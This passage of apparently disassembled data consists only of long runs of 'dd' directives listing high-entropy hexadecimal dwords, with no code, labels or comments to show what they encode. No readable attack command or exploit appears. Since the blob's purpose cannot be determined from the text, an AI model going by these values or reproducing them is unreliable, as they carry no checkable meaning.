37616655h, 365A6B1h, 2605944Eh, 43428EE2h, 3113C6A8h dd 52C96014h, 0B85DA018h, 2C701481h, 931AC06Ah, 0B0809105h dd 1C672AEAh, 8A81A0A5h, 0E2B09D93h, 0C2786034h, 3692A38h dd 270CB89Ch dd 31B91A8Ah, 4B904126h, 0E7287F9Ch, 4656481Fh, 46F0424h dd 6642B38Eh, 7E0252D9h, 1D5CC72Dh, 6A5046F4h, 86135029h dd 1C393A97h, 240222D0h, 8AF0C67Ch, 53503A91h, 0CFC6EFC5h dd 87C614A1h, 4CA0282Dh, 18208F37h, 0EE639E7h, 8A6A2E86h dd 63625888h, 22782A08h, 0FC80ED71h, 4B4F67CDh, 40C3CACh dd 51918AEDh, 0D3620606h, 841EA2Dh, 5400ECFAh, 1F28AB4Eh dd 78620B4Fh, 6044913Bh, 0FE3163CEh, 1F2649C5h, 0B0A4D814h dd 2C86BBA4h, 930CE075h, 8AA001B8h, 5C4E55B0h, 410A7A50h dd 8C2F42CAh, 0F7F56604h, 0E7220482h, 5B8783E4h, 89095D15h dd 807E7386h, 3038CD10h, 7FA4ACAh, 0C19F075Ch, 6043D54Ah dd 4C63E63Ch, 1262DC88h, 38DB9760h, 440AE26Ch, 0E8AACBA8h dd 8A604B98h, 1B9532F0h, 0DC818926h, 0F11ECAA1h, 0EB6C6039h dd 0A10B961h, 5470BBB7h, 18A658CCh, 4A08DE30h, 80C54ED7h dd 0E40C0488h, 33EA900Fh, 0EBA8CDAEh, 4B491878h, 0B6401820h dd 0CA02B30h, 4F24AA2Eh, 5F637610h, 12B83D88h, 38EE3628h dd 90390538h, 5CDA10FBh, 38B95B02h, 98A34C6Ah, 702C8031h dd 8B0B8CCCh, 0F568A49Eh, 9122A4D1h, 952458BAh, 8F0970CCh dd 0B6DC4809h, 0D754037Dh, 94203C70h, 0EECA0174h, 0A48A3005h dd 660AD0F6h, 0B2B89663h, 0D782097h, 4475CB24h, 151CA09h dd 390AAA14h, 5FF40889h, 0B50E901Ch, 0F852A881h, 50E50678h dd 658CD07Bh, 40036807h, 1C120EFCh, 0AA8076CAh, 80F2699Eh dd 5B0F8494h, 897921F9h, 956C037Bh, 51481961h, 2003C87Fh dd 2166AA28h, 1E0D311h, 1F8F710Ah, 8B437A4Ah, 80477EC8h dd 1ED50764h, 3B3036Ah, 908C0B4Eh, 0D02B382Eh, 40A9698Ch dd 0E010D4BDh, 6020A831h, 318984Bh, 5CF04A10h, 8E3034A5h dd 8CCBCA30h, 458A1F18h, 0B063C169h, 0EC045C64h, 0B1BA2A1Dh dd 72F3BE8h, 263EDC5Ah, 0D8C5C26h, 65CD1870h, 87AB0894h dd 8C5C684h, 38916A35h, 8A080C18h, 4A30C306h, 810804Dh dd 0C81993A8h, 0BAA27867h, 82D81220h, 0A6ED1809h, 3339DEA4h dd 0CB687127h, 68CA100Ch, 0C36290D1h, 60D5EA60h, 0F5281019h dd 188B7720h, 90209E4Ah, 2A30F38Bh, 30963A31h, 0A08B7B67h dd 0B8269708h, 0A461085Eh, 79452A18h, 4B67097h, 91BF4BFCh dd 20D7DF6Ch, 305069CCh, 6CB83CC8h, 0A00A8A79h, 0B4372B65h dd 828313Ch, 40892C4Ah, 6041720Bh, 4B088665h, 79F81290h dd 54DCB02Dh, 65F0C054h, 1DC58832h, 4D2D0AC4h, 0E898A084h dd 0C081659Dh, 14C81F72h, 2A1F9860h, 71DCA4F3h, 7006A9A5h dd 539B460Eh, 8D513000h, 926E2A1Fh, 0A1AFB038h, 5820AF54h dd 1CD2498Ah, 62CFF24h, 0D85AD7EAh, 246F5504h, 309275CAh dd 2C284858h, 649C90B6h, 801E3965h, 64996A68h, 18690C90h dd 8100CD0h, 2BF8280Ah, 101A67C0h, 0FC218CCAh, 6818396Fh dd 0E87F1893h, 2C92F54Ah, 2A984450h, 0F8C469E8h, 3092E09h dd 9C94826h, 6315F044h, 7FD38067h, 19DC46E7h, 60964133h dd 1011187Bh, 0E9B0088Fh, 606A88CDh, 0C4F473D0h, 81D17818h dd 927B3F20h, 64037A48h, 3197C38Ah, 9194908h, 0CBA09858h dd 5023CAB8h, 0C427F89Dh, 0C1B3EB08h, 20F24AE8h, 21240B18h dd 64091CA1h, 0A7D002A4h, 0C3EC4259h, 1DD81687h, 3D2C3895h dd 33C13615h, 156613ECh, 30BC2C14h, 0F92288F6h, 63A8B119h dd 0FE28DF7h, 9086B468h, 7E26509Ah, 0D93F2035h, 5E9D1720h dd 9936438h, 0F0E173A9h, 0A3750041h, 3D823440h, 68CC1D08h dd 9A34C684h, 7F5033E0h, 9022160h, 0AB657AACh, 6A48605Ah dd 0AC3F4852h, 0CA584333h, 207C91E5h, 3C904758h, 8C492A08h dd 38BB243Ch, 4B3E193Eh, 1193AB50h, 7A844415h, 0ACD0828Eh dd 0B347468h, 0FC122381h, 0CB4A4440h, 1E9CF350h, 0A197098h dd 0F52094D1h, 0E0C6C447h, 4068F808h, 789AC62Dh, 4028F844h dd 2E404876h, 0F9714169h, 8FC3017Eh, 2922E302h, 10070681h dd 2894CA24h, 2970B4BDh, 0E9837491h, 7068A302h, 0D0B86248h dd 70F4DB31h, 188CF51Fh, 25303C89h, 18319A3Eh, 3FB8DB36h dd 618C6F7h, 18335845h, 7CEB683Dh, 48096F58h, 0F108138Dh dd 9E1188BCh, 462B16F6h, 0E85922B0h, 1C09234Ah, 349CA6C6h dd 0F72A2710h, 9ECBCC02h, 0E1C23002h, 7421A568h, 6C2083F1h dd 29B8642Ah, 8A78800Eh, 0DCA08164h, 10CAA72Dh, 6A05F80Fh dd 0E01C4D09h, 182440E4h, 303CA824h, 0A24A3843h, 0F9E0CC90h dd 0D5338A08h, 74C4A89Fh, 9BB6510h, 6AC4055Ch, 0CAE80E27h dd 3188288Ch, 0B7E45D50h, 8F5524BAh, 9C87D280h, 0C880892Ah dd 173CE0CAh, 8945481Dh, 846280Dh, 0F85B77E0h, 0D8591D08h dd 44BE3A18h, 46DA8800h, 0A9D7E815h, 919C6107h, 7220BB34h dd 29E48B75h, 210B871h, 7AC362A5h, 3C1E0420h, 0CBA81D0Ch dd 10280E25h, 724809A2h, 0BBC01C9Ah, 7160A102h, 3E812438h dd 9548000Ch, 18C8FAC1h, 0E8190A58h, 0E0B854FCh, 0CCE74C4Ch dd 4441FF38h, 151B5378h, 0A3704F68h, 31E0F633h, 7BF0EF20h dd 44B8E236h, 4E00DB2Eh, 8B73E0DAh, 305C64h, 766B680Ch dd 93B92815h, 0E3492E0Eh, 74A98595h, 1CF92030h, 0DAD220A5h dd 80038428h, 58D90829h, 4DE77283h, 0A400A487h, 815978Ah dd 0FB840706h, 2808BBE8h, 0F8849FC8h, 178D3968h, 0B8B063FEh dd 101FED21h, 0C8069ADDh, 6418E2C6h, 4CAD11E3h, 3E880873h dd 0A80A509Fh, 7A07764h, 0C0180AF8h, 8FB85A6h, 28197533h dd 3108783Dh, 8A2847FCh, 1BE8F059h, 0FB208CFDh, 537C588Fh dd 481A08Ch, 501AED8Ah, 2718C480h, 0D576A8C6h, 947D1208h dd 8D6182Eh, 5E50BD29h, 8D1C6D4h, 2778C028h, 48CD92CEh dd 21193853h, 23B90ABh, 0ECC094A8h, 59650910h, 40075692h dd 8B18844Ch, 0AB3F0018h, 0F1BB7B0Ch, 4ACC0092h, 0AA8131BDh dd 80031D7Eh, 601E2E34h, 0C0409F63h, 0E01CE107h, 680E01FEh dd 8D927E74h, 0AC4180BEh, 0A01E0AD3h, 89162DCh, 18901F99h dd 0E500B9C4h, 92F4AEECh, 848DA8Ch, 8442401Eh, 10C1CE70h dd 3FB2C96h, 1E46A56Ch, 443085E0h, 20EE5DE3h, 4C1BBA0Ch dd 0D3B8459Ah, 6920A08Eh, 6468C62Fh, 803118D2h, 7419104Dh dd 28980102h, 88181AF0h, 2C78F4DFh, 135D07C6h, 4E496620h dd 4025D106h, 6096EB37h, 1353360h, 209C7FDh, 87218505h dd 4820B10Ch, 0E7A0FC65h, 780008DEh, 9261318Fh, 1E027837h dd 0F48FFA5h, 0F938D82h, 0E10EFE00h, 7C4118B8h, 0CDA0FB64h dd 0CBA0AD83h, 5E40C11Eh, 7A24719Fh, 285C611Ah, 0D0FA3A61h dd 28C64B60h, 63130E0h, 800168E4h, 0DF9809F7h, 31F1A8C6h dd 9ED6748h, 0CF14C871h, 192870CCh, 9A03BCE5h, 98A01FBBh dd 0C726E780h, 77601F10h, 2B1E3DBAh, 0AA200CB5h, 9B444018h dd 480C6354h, 0C0E1AD51h, 602887C5h, 0D8EB6CEh, 71E01858h dd 7338C4A4h, 31130CB5h, 4093641Dh, 0E01B1C6Fh, 8DC79908h dd 0D94EC040h, 0E7C10335h, 0A90148D8h, 0D6410811h, 0C0F0B630h dd 0B8A02124h, 0B0A1C431h, 0A0D040F8h, 50DDBCD1h, 30D88399h dd 0FCF082DAh, 0E1041E3h, 6A2008BEh, 408041FCh, 1828DE26h dd 4920E019h, 0CAC010C4h, 68E3A087h, 0B0A0A08Ah, 7C40CC95h dd 4E7F60B0h, 2C1930C6h, 105D6208h, 0F622F040h, 9C9B0425h dd 0E100AF88h, 0F3B3A4DAh, 52870C92h, 0DA8014F2h, 0F58B5078h dd 0EC1A6090h, 9458F7C0h dd 578B3F74h, 50936D18h, 0F95201CCh, 712F8114h, 0AC12BCD6h dd 0D8824862h, 1894266Fh, 3EA370Ch, 248C8184h, 948F84Ch dd 3C046A25h, 0CD4E1D22h, 6FA18634h, 0DC04F820h, 313508h dd 41319054h, 902A38h, 106C7B07h, 107C8AA0h, 0C09A5059h dd 14F0904Ch, 48EDA8C0h, 0A685BDA0h, 6C9C4D54h, 269CEC48h dd 2D5024E1h, 0F52608EEh, 0D20CF272h, 0C3B2B066h, 0CECD8130h dd 28C93824h, 98023138h, 0F0401B20h, 0C97412C0h, 7C098998h dd 73022C16h, 939D84EBh, 14090FF3h, 0C1B74C04h, 89C4400Ch dd 8315E058h, 0B68CC110h, 40324960h, 884C7624h, 2D040A82h dd 9CCB1F7Eh, 8C7A6907h, 142C8952h, 515041F1h, 9961C0ACh dd 0E166A048h, 1D5F088Ch, 33E99EB8h, 0B41483F4h, 0ACEB334h dd 323DEC50h, 34CC3F88h, 28204009h, 0DB0CCC9Ch, 39EAC4DCh dd 58FB4DCCh, 0E1405233h, 3814E4CBh, 0E0DCBF17h, 0FD2EF9ECh dd 10ACC995h, 38EDA581h, 68C1098h, 18CCA06Bh, 6BD0DF4Fh dd 8B1D828Ch, 6C2282EDh, 80BC8163h, 4665C90h, 27D0100Fh dd 0B5F14C3h, 795B11B0h, 39359C01h, 3608D80Ah, 4A3C0880h dd 3F5638FDh, 1CA0F37Ch, 0B400EFAAh, 795CE0BAh, 0CAE29FCh dd 8039981Bh, 8474C428h, 1C555829h, 0A3189781h, 70831BA8h dd 1A1C70DCh, 0F3EE99D0h, 18A657FCh, 9884A704h, 3C001949h dd 581A4882h, 28DE2932h, 0BE1898EEh, 0C55322ACh, 0A61C22h dd 381BB2A2h, 0F8F3CB46h, 2B812A3Ah, 2B0250B8h, 22D1540Eh dd 8480317Ch, 0FD621C58h, 5325F81Dh, 9383542Bh, 0C428A517h dd 11A75C02h, 53C03008h, 0DDBC230Dh, 45AF0AA1h, 313A7094h dd 29118B31h, 9444619Ch, 0CCD27870h, 0E06A54DEh, 0CBAFEFCh dd 747DB8FEh, 5C0A13E0h, 1CEB98FDh, 764CB760h, 4E8028BCh dd 578101C4h, 884158FDh, 47FCD1FEh, 45DD8298h, 3C05008h dd 629B946Bh, 0B43C40BEh, 60E11800h, 8390A507h, 0F81CABC2h dd 34483175h, 47180514h, 6C77FD0Eh, 0F3846E13h, 7C302BD4h dd 7EAC0240h, 5C2054FCh, 30FEA917h, 0B808E738h, 0B8C7CC8Ah dd 8CCEA57Fh, 60380841h, 61F1290Dh, 0F63EB8FDh, 767815AEh dd 9DA71B9Ch, 298AE320h, 823CED18h, 686F79EEh, 4B4FBC22h dd 8352EA28h, 1DA850A0h, 6A08B70h, 0E0466DD8h, 78587E61h dd 0B040BB05h, 0F8FC93A4h, 18B262E1h, 0B447775Ch, 0AB5A0F01h dd 708CB128h, 5860419Ch, 0ECC83F68h, 2235F958h, 0FC01B740h dd 38F3E78Eh, 7823CB9Dh, 4715429Eh, 0DC0108CDh, 0F84ECCB5h dd 0E7378506h, 3C18292Fh, 9B509AB8h, 0C5DC91CBh, 6D1EC18Ah dd 0E6C42407h, 40FD0F2Bh, 0DD231A80h, 0EF204C4h, 7EA338Ch dd 0D62A5000h, 0E507D006h, 0E94E487Ah, 92263890h, 538C0EF4h dd 0B00A0881h, 0CC80C114h, 8B14FD97h, 2A8F350h, 98249082h dd 388B4114h, 1340A3CBh, 30E018B0h, 14D8C229h, 4C5AAC01h dd 0B3011D87h, 10A08A9Ah, 0EA6014F8h, 612A2E52h, 0BDD3A0C3h dd 0AF0C1FEh, 97670C76h, 7328D9F1h, 64C46229h, 0C6EE2945h dd 93142928h, 0A03C698Ah, 613FE8B0h, 4D332951h, 3C88AFAh dd 0AB01A4BEh, 0AC902D91h, 87F0A0CBh, 102C0E88h, 7895A272h dd 0DA56FBC1h, 53518233h, 0DF0FBCF3h, 9FD0EA8Ch, 0E9081F62h dd 805F03C8h, 8F7A7010h, 0B0083A30h, 2D780CE0h, 5A4C81Fh dd 5EAFC0Fh, 74302B70h, 44E46252h, 7C29F328h, 0CED81Dh dd 0B0FED49Bh, 0E31280F4h, 9002B0A7h, 217BE8E0h, 23E291B3h dd 9CC8128h, 0D84862D4h, 782C70C9h, 7988AED0h, 3C5B106Bh dd 66730AC2h, 15503CCFh, 0ED5931A6h, 0FB869329h, 2A9EC814h dd 8723090h, 57BC8B70h, 4D06480Eh, 4120D48Ch, 9CA6332Ah dd 23677D0Ah, 83C9189Bh, 0D7EB369h, 1ECC53C1h, 0C888DA60h dd 9F54E330h, 0F32340FAh, 7828A5DCh, 31A41154h, 0D713001Dh dd 20900FADh, 0C054911Fh, 68E1E226h, 0DCB331C1h, 2C220FA2h dd 924C40C0h, 0A49010A8h, 58FFD334h, 0CF4A42Ch, 177990C6h dd 0F7127328h, 7C2C0E4Bh, 0F3301832h, 0CC9329C1h, 0B31CA8D4h dd 4255A1DAh, 7B337985h, 0E9642892h, 0CE37900Ch, 24532839h dd 0AB8C0D5h, 9F881C6h, 0C01C8088h, 174C3E04h, 0F300B0C8h dd 900EADF6h, 0B8B65B31h, 18239222h, 17696680h, 1380B76Fh dd 0C88F537Ch, 8652C881h, 0B361891Bh, 0ABC22E2h, 89F48F96h dd 9AC1CFDh, 0A30B0887h, 30D384A7h, 6DF00E40h, 0E0281848h dd 18352011h, 10790595h, 8A0CD41Fh, 8D7DE13h, 82493196h dd 0D858DA10h, 0C600F7CBh, 6080A8A1h, 0D7B42Eh, 3BDC39B9h dd 907B8B1Eh, 107BCE4h, 3CFB5B0h, 993DDED0h, 0BD0407C1h dd 501681D9h, 0F3293B92h, 0DD25801Fh, 0F40C6040h, 1DABB5h dd 0DC2E3554h, 6A13C8Ch, 3375A00Fh, 3D2B7Ah, 0D52F56Dh dd 99410764h, 0B00AD7D9h, 7BE50F78h, 0EC3D5E00h, 0C415522Ah dd 8FB700CCh, 0E0BD2D79h, 27002675h, 0C76EB033h, 76B9754h dd 0F170B6E6h, 6711C072h, 0E7008CC9h, 8975421Eh, 1FC198DCh dd 5F24D430h, 0CAC8C019h, 9A45DF03h, 1575D21Eh, 0C10B2647h dd 0A06CA6B3h, 0A421EAh, 68F0A70Ch, 7A98EFECh, 761ED300h dd 1A7B46B7h, 1F2178C9h, 1E4BA81Bh, 37B20018h, 8E38A1FCh dd 8590D904h, 0A5C09F45h, 3DBEA8h, 0FFA07D11h, 720A3478h dd 523B4B00h, 205A1ED4h, 8DC10056h, 8B1469E8h, 2FF618B1h dd 9E0647E2h, 0B9B49701h, 0BBFB0006h, 8337D32Dh, 4919F957h dd 9B1A027Ch, 1BB8F0h, 0E676A142h, 26086F3Bh, 0D98DCD01h dd 0EE7A53F0h, 0F5B9E0D3h, 0C843004Ch, 0BA85DA06h, 0E201C60Eh dd 51F3D5FDh, 918021A8h, 0DB3723D9h, 4004CB0h, 9734FDD1h dd 18FA2AB9h, 50D2D044h, 0FB01368Eh, 0A1D96F85h, 47D37C25h dd 78FC0419h, 6B9F7A00h, 94D4B92h, 5D79F2h, 0DED6C91Fh dd 801E46DCh, 387330C7h, 62C1FB80h, 83350074h, 70FC75C5h dd 0E451D249h, 7F340F88h, 0B04C3852h, 118D342h, 60AE38F2h dd 0F46D135Ah, 0FD28F3DAh, 0AC059FEAh, 0B61144F6h, 9B2A0C02h dd 44E72516h, 2008D618h, 898FC447h, 42840C6Eh, 84C2216Ch dd 45838012h, 0C04F706h, 0F5278DF4h, 2A24059Dh, 9E0C058Fh dd 0A7180203h, 0A228257h, 100C8F3Eh, 2004B2C4h, 40E47180h dd 0A8D176DBh, 0A519B224h, 244ABA54h, 54BB0C7Eh, 27502318h dd 54A89278h, 0CA125CAh, 0F4A30C4Eh, 52A2898Fh, 0C0990C24h dd 0B08450E6h, 0A9106B5Ah, 5D0CD9AAh, 271917CCh, 8188547Dh dd 3B0A80B4h, 8EE52104h, 903A63h, 680C8Dh, 1F6983EAh, 21BD8582h dd 0EF29E00h, 0E8044297h, 447E6Dh, 0C3A46880h, 0FB49995Ch dd 0A38AE093h, 7E03808Ch, 457AF2Ch, 70D26FA0h, 1CEC809Ah dd 0D03BECBDh, 97BC80CAh, 77984005h, 50DC5019h, 0E87F3FAFh dd 284C31BBh, 0EE9DD806h, 4B2689F2h, 241C6E50h, 86F43BBEh dd 655C6738h, 0AB3409C8h, 7C28FCCDh, 0EC9CF11Ch, 5E1F9094h dd 68588471h, 1EFE6B0h, 0F983CDD5h, 0D2A53BADh, 18E9B440h dd 8A6E7D01h, 8C8654F7h, 11455880h, 0E4269863h, 0FCF058h dd 4E7D4A84h, 5218A336h, 893CC8DCh, 0CD3B2473h, 0C47B89DCh dd 948B0000h, 14A0D3B9h, 68C4D0FFh, 0BE3108E4h, 0B163C47Bh dd 72C38B03h, 0E9328A80h, 0A0806256h, 35514152h, 1274D98Fh dd 65984E00h, 66B44CFDh, 0C7811DDAh, 40C3ED7h, 9CB99643h dd 94F0B0A0h, 0A0906014h, 0B32F009Ch, 9918CADAh, 0B15300CEh dd 69F6D8FEh dd 94B0E205h, 14A3D3Fh, 246AB941h, 0BAF0063Bh, 0E7350F37h dd 16EF157Ch, 0FF8E7B40h, 86008F03h, 0B69BDA44h, 0BF0455h dd 0D257A8BDh, 8218B8C0h, 0FB4058h, 328B53CFh, 7805FBh dd 94AAAEADh, 0E23B089Dh, 0BDF5C41Dh, 4F400F3Ch, 415D03E5h dd 9545E0F2h, 74C630D8h, 0D1F3B4A0h, 0F894111Dh, 47846A04h dd 0E01DFE00h, 16079867h, 45C5E39Eh, 0CF6D6AC0h, 1820DB07h dd 0F0467EA9h, 150ED8F2h, 9F37F469h, 313BBB0Ch, 0CD7417Ch dd 2257884h, 1E1A4362h, 0DC45A8h, 59B18AD2h, 0D86056D1h dd 12D3F619h, 22318FDh, 514D5024h, 4E70F8ECh, 6F224803h dd 0F0B25B8Fh, 0FE3EC174h, 29207B9h, 0C0586567h, 0E0D71C05h dd 3550F580h, 1B83A35h, 6DF80FB2h, 84C0A06Ch, 403C7C30h dd 14A89BFEh, 0A8C525AAh, 70F8017Ch, 6A2E1767h, 0F128F86Eh dd 8151F500h, 16F0D5FFh, 10E0079h, 64DE7310h, 0DB01C7BCh dd 8760DF85h, 0C5E0C9F1h, 7C764Ch, 0E89132ACh, 0FF803E15h dd 0D1605D7Dh, 0B3A23B28h, 106403E7h, 0D5334289h, 3F0BC288h dd 0AFA42D00h, 64D87E37h, 340D1C4Ah, 0D68D00FEh, 8692E593h dd 0DD238B00h, 796B95B0h, 0D39B0026h, 816DA7C6h, 0E2372DE8h dd 2950B082h, 0AE43BB07h, 0D8691030h, 622AA0A9h, 248B0E87h dd 6B80C1A1h, 0B6206A69h, 0D05AFF00h, 83AF5CF3h, 188D0F11h dd 6D6FF9EDh, 8AE20F60h, 4B01D4C1h, 0A36B9423h, 83D4367Fh dd 0B5920078h, 8043E74Ah, 5D099C7Dh, 80728D0Fh, 833379A1h dd 76C101C7h, 0DBED06B6h, 8778818Ah, 0E226D4F0h, 0F98051BFh dd 0B2F880A8h, 0DF50FAADh, 131106A0h, 0FF588114h, 50FE79h dd 29B51D79h, 0E6925E20h, 5DA52200h, 0DBFB64BAh, 0DE5B073Dh dd 0C2CAB7DAh, 0CC84F874h, 6864C18Bh, 6FA0835Eh, 2C86C9Eh dd 4A38C3F9h, 0C087EEC7h, 5012C36Bh, 11E07903h, 0BBB965E4h dd 4800E5FFh, 0B8971EC1h, 1F53099h, 871B4A80h, 1DF2B71Ch dd 0E800AEE4h, 696DBACEh, 3DA40301h, 1C466E98h, 7D6571A8h dd 21154D0Dh, 8400A1D7h, 1F0705h, 0B7D053DAh, 5A0CA645h dd 0ECA8FF74h, 6350503Ah, 13188BA0h, 6FB1F0B3h, 0EFCB8856h dd 586CB6EAh, 0FE0B8E8h, 25857651h, 3B9F4100h, 0D0005B07h dd 0AFFC6EC8h, 50745887h, 18E6CC8Fh, 2006330Ch, 6800EE90h dd 0A197CB30h, 1E43EE0h, 5AB9F9B3h, 0C8566083h, 0F26084E6h dd 8851F331h, 8D2700DFh, 5775395Dh, 349295BDh, 0EB79F22h dd 0C7A1E179h, 0A61CCA41h, 3D180CCh, 36B2AB82h, 0A246009Fh dd 53351FDh, 0BF3A6057h, 395B9419h, 6FD10608h, 81B9C05Ah dd 0F1184908h, 198C549h, 191ABA3Eh, 0C1D1B871h, 0D351CCh dd 5B7D3C26h, 5C5F4AF6h, 3DAF2A1Ch, 931EB041h, 6FFCDAA4h dd 36A36043h, 0E044F5Ch, 0C35A4019h, 4505638h, 0C24A78Ch dd 58E9AA5Ch, 0DB719518h, 3FBC5F00h, 46CA04D8h, 279000F8h dd 6E148670h, 40C0C4D9h, 6619A7EDh, 98D87813h, 0F0BE00DEh dd 0FD30C232h, 9903C005h, 0ACFCBDFEh, 0E74097C6h, 0C9597DEh dd 5B47249Dh, 45001889h, 931520FEh, 7E226Fh, 0CB0EBF6h dd 79EC40BCh, 0B073FD30h, 0CCC096h, 0F62DE12h, 3A01F7B8h dd 6FE92F1Dh, 156E91C0h, 1C351ABh, 0E5BB1BEAh, 403D2276h dd 0A6A01A28h, 42FC5A00h, 6071E296h, 0A11C0BBh, 46CB265Eh dd 1CAB5805h, 3022BA28h, 7BA091B7h, 0C7FE4850h, 0C5BF0034h dd 0E9F66C26h, 0E800D96Bh, 0B0518C6Fh, 0FF07421Fh, 57C13880h dd 21472D31h, 8425F900h, 0CF3E720Bh, 0B83A7543h, 0E20FEACBh dd 8B080022h, 5DE41B59h, 93007C34h, 0A8F4F1DBh, 3A38A402h dd 0B3801373h, 8B1BF67Ah, 9E003714h, 3E8FDB46h, 79032Ch dd 3A743F4Eh, 90CF4DA8h, 86D72900h, 2841439Ah, 0AB3006Bh dd 7072881Dh, 0A9F818F4h, 802439h, 0BF177C7Ah, 6322BBh dd 344AB8F7h, 65640E9h, 87B2473Dh, 7EBB89EEh, 321D83E0h dd 7D9B0E71h, 0BAEC027h, 260090F4h, 0EA178599h, 63EA5A75h dd 3B95A700h, 0CC707FE6h, 0DB270026h, 29B69E83h, 0E502BD1Bh dd 0BF6FA428h, 0C206033h, 7FE28Bh, 8ED3D0FDh, 434F6AAh dd 8A0AFA18h, 0FE8C6519h, 0EE8F01D9h, 349053E6h, 56E8F36Bh dd 2700F2FAh, 5F9EEDA6h, 7CA01BDh, 60598904h, 0D7313086h dd 6E612302h, 0C1A86430h, 0C5FD4h, 34218A04h, 1603AAECh dd 55F05800h, 3AE9CF68h, 92B50052h, 1F79761Eh, 0F1635E57h dd 0FF472A68h, 4495288Ch, 0D9206D24h, 9B08ED7Ah, 0F562820h dd 0B6D45AE1h, 0C52D4CC0h, 76225719h, 225122F0h, 0C73BCD00h dd 0A00C8DB6h, 6FB87Ch, 5FE75ABDh, 0DE6CAB42h, 1B0EDDE8h dd 0A18F2A29h, 7BFEDBD1h, 0EDFD60h, 4C0238CCh, 1E09F99h dd 54B19B00h, 0B97CDDD6h, 0BA6C1236h, 73830063h, 6F7E89B3h dd 1933500h, 84BB5394h, 564600DCh, 43B05530h, 7E004B20h dd 83128C7h, 0C7C47h, 3B29B87Dh, 1581B098h, 0EE8E4100h dd 8460A053h, 78EB3939h, 775FCD00h, 0DB07A1A9h, 0D70A3100h dd 0FA7DA754h, 195C0071h, 8F6479A3h, 5D007395h, 68D7B31Ah dd 0C8D8DAh, 6A0D6CF0h, 0F2C44AFFh, 3A0A3E06h, 2620B3D5h dd 0EEA368h, 7D6FF331h, 0C6006173h, 8ED64167h, 8B76C4h dd 0DEAED893h, 0A1BBA79Fh, 438A5B01h, 5D2E4B0Ah, 9AC58081h dd 0C404D1C9h, 0D0736524h, 7ECAC300h, 0FA194250h, 54E81F36h dd 0E7104047h, 66A6C80Bh, 5EFDA18h, 3FD771BAh, 0D1807948h dd 0C5F20EBFh, 0EC0058FCh, 9D5A4184h, 38A38Fh, 0EECF266Fh dd 0E11898C3h, 0C8075700h, 8B8FE8AEh, 597000C4h, 0D9CD43A7h dd 92007689h, 18960391h, 9B7E82h, 0AEAA4CE3h, 23873DF4h dd 29CEB200h, 2D26E9B7h, 1E662896h, 77E000CEh, 89169E41h dd 0D4E1D6D8h, 6EC7EC57h, 0BCE3B2B0h, 0E8FC3E8Ch, 48362Eh dd 0D0E532AAh, 351CEB87h, 508043F8h, 85E36399h, 0BCAC0058h dd 0A76712B1h, 30C1B6FBh, 90032FFEh, 0E0C19270h, 7DCE1C70h dd 0B8420079h, 5E2A128Ah, 0BC0039F6h, 0B438D197h, 4B9A06h dd 4374244Fh, 1EB27190h, 1053F30Fh, 79B9C064h, 3965577h dd 0F45473BDh, 0A7A87FC2h, 0BA1CE70Eh, 668E0365h, 3F4DA0D1h dd 0F8D68E2Ch, 7F5800C1h, 0EDD81D05h, 72033CE0h, 0F3E6E20Bh dd 0AF690C65h, 0B7DE8064h, 460130E6h, 763BDB6Bh, 0CCF0E9D7h dd 1D8D0054h, 0BDC04A2Fh, 5307267Bh, 3823D0B8h, 6BD1AEB0h dd 3AF71CEFh, 0C5A18596h, 8DA60069h, 2274FEFCh, 9C1FFD0Fh dd 4BA38725h, 3199DB90h, 0B6FF0087h, 70AF9A0Dh, 0E0025E9h dd 74BF1A6Ch, 0E8C86Fh, 5C8D65CBh, 0C7BADA36h, 0C6FA211Ch dd 0F415A9Eh, 386B7946h, 3CFDC4h, 0D27C9722h, 70885621h dd 0C5A4C200h, 59FECD06h, 0F97E00F8h, 0EF69630h, 70022C77h dd 269EB282h, 860848A4h, 40EC0056h, 0FFCEA5C7h, 570F1A03h dd 0A13B30BEh, 0B28DCE3h, 511170h, 0D387F723h, 130ADFADh dd 82F8571Eh, 45313D82h, 0D73360B0h, 701100EEh, 7FCBAEDFh dd 0F20CAC6Ch, 0B004F14Eh, 0BAE069h, 324659A6h, 64530354h dd 17259600h, 0A524728h, 0D6580608h, 104E7BF0h, 0DA6D3Fh dd 0A9AD484Ch, 2ACF40h, 917525B0h, 788837Bh, 0F2192B00h dd 0E043637Ch, 731A0087h, 0D9803C5Ch, 0BDFEA49Ch, 3B4C0600h dd 16CBBF52h, 73AE1328h, 7584007Dh, 0FCC61849h, 0EA1D9F00h dd 0B17FE590h, 9D07011Ch, 253BC023h, 0E08AD404h, 4C21D500h dd 2B0F9980h, 0EEB8F2h dd 0D81C8D63h, 94F3A49Eh, 0CB40A600h, 0F4D3D46Ah, 0C24200F5h dd 0AD2885E9h, 989734h, 398B738h, 8B02E8B8h, 0D61CC8C3h dd 46180028h, 0EF958204h, 1A1E1DC9h, 0F3BA6F21h, 0A62F907h dd 0D508CCAh, 0C4EA7h, 45D580C9h, 0C5859ADFh, 0F63E9700h dd 0E94BE239h, 43C15C05h, 23690A00h, 0B89FEC7Ah, 42901F00h dd 97B45F62h, 1CC50E28h, 0EB203058h, 159B9248h, 0B5B21D00h dd 0D797F4D4h, 187E007Dh, 0B8FD3442h, 1200153Fh, 5E6C3A6Dh dd 5491DDh, 618973F8h, 0B1495388h, 0D3C1100h, 0E403910h dd 0D080979Dh, 65C16E4Ah, 87EED83Ch, 0FA74E3D2h, 0AED4F4F0h dd 4F3807DDh, 0B0664960h, 881ED505h, 8B0AD100h, 0FB2A64E7h dd 0C57100F0h, 2143823Eh, 3007B82Eh, 9FC9C8FEh, 0EFEBC7C0h dd 0F47A48E8h, 684CE000h, 0D7F3BD99h, 69DCB00h, 498460Ah dd 0C4A2503Eh, 4CD800ABh, 37D16144h, 5B00B7A6h, 7F4AEE9Ch dd 0B9F46h, 6C86685Ah, 96EA75BFh, 16223600h, 85C80147h dd 59580031h, 0BAB7FD80h, 0F720EB52h, 53CA008Bh, 0C647E73Ch dd 0E31CDB63h, 14004C66h, 33D0A20h, 3C4AFADEh, 0A700CA83h dd 0DD1849Ch, 0FB00D757h, 0FF0793D4h, 0B0533864h, 0D54201E5h dd 0B91D4A6Eh, 0E46021C5h, 0E2003AA3h, 0D01F26DEh, 0FED370h dd 3666F61h, 97270D4Fh, 0B7FC0276h, 42123Dh, 0AE6573AFh dd 13E08BFFh, 0FC31AE4h, 0AAE06F76h, 94776D93h, 17499D0Fh dd 0FF32E092h, 0FF12BCEh, 6D4D30DDh, 0F6CA06E0h, 0C984A3Ch dd 5B7A040Fh, 60E28FFEh, 9982585Fh, 0A0F45A67h, 8D016A12h dd 74C6D6CFh, 0B5E840F9h, 7225008Ch, 0B912583Eh, 